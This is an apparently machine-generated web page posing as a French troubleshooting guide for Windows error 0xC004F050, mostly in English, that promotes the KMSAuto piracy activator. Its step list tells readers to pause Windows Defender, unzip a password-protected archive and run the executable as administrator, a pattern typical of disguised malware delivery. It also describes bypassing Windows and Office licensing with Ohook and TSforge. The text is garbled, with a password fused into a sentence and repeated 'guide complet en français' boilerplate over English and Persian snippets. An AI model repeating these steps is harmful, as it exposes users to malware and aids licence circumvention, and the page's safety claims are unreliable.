Error 0xC004F050 — Dépannage 2026
Cet article est le guide complet en français sur Error 0xC004F050 en 2026. 0xC004F050 means the key Windows received doesn't match the installed edition. KMSAuto installs the correct GVLK.
WYqejXiqBi97Cet article est le guide complet en français sur Error 0xC004F050 en 2026. Use slmgr /ipk with the correct GVLK from our list, then run KMSAuto. It also auto-fixes via the 'Information' button.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
آموزش KMSAuto Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur آموزش KMSAuto en 2026. آموزش کامل KMSAuto به فارسی — فعالسازی دائمی ویندوز و آفیس به صورت رایگان.
Read article →
Ohook Office Method Méthode d'Activation 2026 — Guide Complet
Cet article est le guide complet en français sur Ohook Office Method en 2026. Ohook patches sppc.dll to inject a permanent Office license — no KMS server, no subscription.
Read article →
Comment Activer KMS Auto Net Windows 10 Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur KMS Auto Net Windows 10 en 2026. KMS Auto Net is the #1 free Windows 10 activator in 2026. Activates Pro, Home, Enterprise, LTSC. HWID upgrade = permanent digital license.
Read article →
Comment Activer Windows 11 Education Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Windows 11 Education en 2026. Activate Windows 11 Education with KMSAuto using KMS38 or TSforge — both bundled.
Read article →
KMSAuto Indonesia Télécharger Gratuit 2026 — Activateur Windows et Office
Cet article est le guide complet en français sur KMSAuto Indonesia en 2026. Download KMSAuto Net 2026 versi Indonesia — aktivator gratis untuk Windows dan Office.
Read article →
Comment Activer Office 365 / Microsoft 365 Gratuitement 2026 — Guide Pas à Pas
Cet article est le guide complet en français sur Office 365 / Microsoft 365 en 2026. Permanently activate Microsoft 365 (Office 365) for free with the Ohook method. Offline, no subscription required, works on Word, Excel, PowerPoint, Outlook.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97